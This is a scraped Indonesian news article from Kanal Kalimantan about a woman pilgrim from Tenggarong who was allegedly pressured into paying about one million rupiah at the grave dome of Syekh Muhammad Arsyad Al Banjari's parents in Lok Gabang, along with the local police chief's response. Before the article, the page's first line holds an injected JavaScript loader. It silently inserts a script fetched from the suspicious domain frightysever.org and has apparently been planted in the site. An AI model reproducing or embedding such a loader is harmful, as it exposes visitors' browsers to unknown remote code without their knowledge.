(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Seorang peziarah diduga ditipu oknum warga pengelola kubah makam orangtua Syekh Muhammad Arsyad Al Banjari (Abdullah dan Aminah) di Desa Lok Gabang, Kecamatan Astambul, Kabupaten Banjar, Kalimantan Selatan.
Peziarah perempuan asal Tenggarong, Kalimantan Timur, yang baru kali pertama berkunjung ke makam ayah dan ibu Datu Kelampayan itu ‘dirampok’ hingga mencapai satu juta rupiah.
Videonya pun viral, peziarah direkam dalam video itu terdengar percakapan antara peziarah yang menjadi korban dengan si perekam video. Korban seorang perempuan mengatakan, uang ia keluarkan untuk membayar saat menyentuh makam, hingga membayar untuk membeli bunga hingga satu juta rupiah.
Baca juga: Diduga Timbulkan Aroma Tak Sedap, DLH Banjarbaru Minta Aeris Hotel Cek IPAL
“Saya dimintai Rp190.000 untuk menyentuh makam, saya kasih Rp200.000, setelah itu saya dipanggil lagi sama yang lain untuk masuk ke makam lainnya, saya kira sudah tidak bayar lagi, ternyata saya disuruh memasukan uang ke kotak,” ucapnya.
Tidak hanya itu, korban seorang perempuan ini diperkirakan berumur 50 tahun juga diminta untuk membayar uang membeli bunga seharga Rp1.000.000.
Si perekam video juga mengatakan, dimana korban saat ini kehabisan uang untuk pulang ke Tenggarong, Kaltim, untuk korban menginap di rumah perekam video.
“Beliau dari Tenggarong, gak ada duit lagi, terpaksa diinapkan. Beliau dari Tenggarong gak pernah ziarah ke Lokgabang, sekali ziarah habis uang dirampok orang Lokgabang,” ucap perekam dalam video.
Untuk kelanjutan video viral tersebut, Kapolsek Astambul Iptu Tonny Hartono menjelaskan, terkait kejadian itu pihak Polsek Astambul tidak ada menerima laporan dari korban.
Baca juga: Curi 8 Dus Keju dan HP, DAF Tak Tahu Hendak Jual Kemana
“Kami tidak mendapat laporan dari korban,sehingga kami tidak bisa menindak lanjuti kejadian ini.
Tapi saat ini kami masih menelusuri siapa pembuat video tersebut untuk kami panggil, akan kami minta keterangan benar atau tidaknya berita tersebut, dan juga kami belum tahu video ini sudah lama yang beredar lagi atau memang video baru,” jelas Iptu Tonny Hartono.
Terkait perihal video viral tersebut, Kapolsek Astambul akan segera berkoordinasi dengan pihak terkait.
“Kami akan berkoordinasi dengan Camat, Pambakal (Kepala Desa), tokoh masyarakat, dan pengelola kubah (makam),” kata Iptu Tonny.
Dengan kejadian ini, Polsek Astambul bersama pihak terkait akan mencari solusi, agar kubah orangtua Datu Kelampayan di Lokgabang yang kebanyakan masyarakat bertumpu ekonomi di kubah tersebut, agar bisa mencari nafkah dengan baik dan peziarah merasa nyaman. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: kk
KANALKALIMANTAN.COM, AMUNTAI - Komisioner Badan Pengawas Pemilihan Umum (Bawaslu) Hulu Sungai Utara (HSU) Syardani, menekankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Aliansi Masyarakat Adat Nusantara (AMAN) Kalimantan Selatan (Kalsel) menggelar seminar nasional terkait… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemuda asal Hulu Sungai Utara (HSU) , Zainal Fuad sukses menampilkan busana… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran besar terjadi di Jalan Belitung Darat, Kelurahan Kuin Cerucuk, Kecamatan Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Api berkobar hebat dari Gudang Golden 10 di Jalan Belitung, Kecamatan Banjarmasin… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Hulu Sungai Utara (HSU) terima program… Read More
This website uses cookies.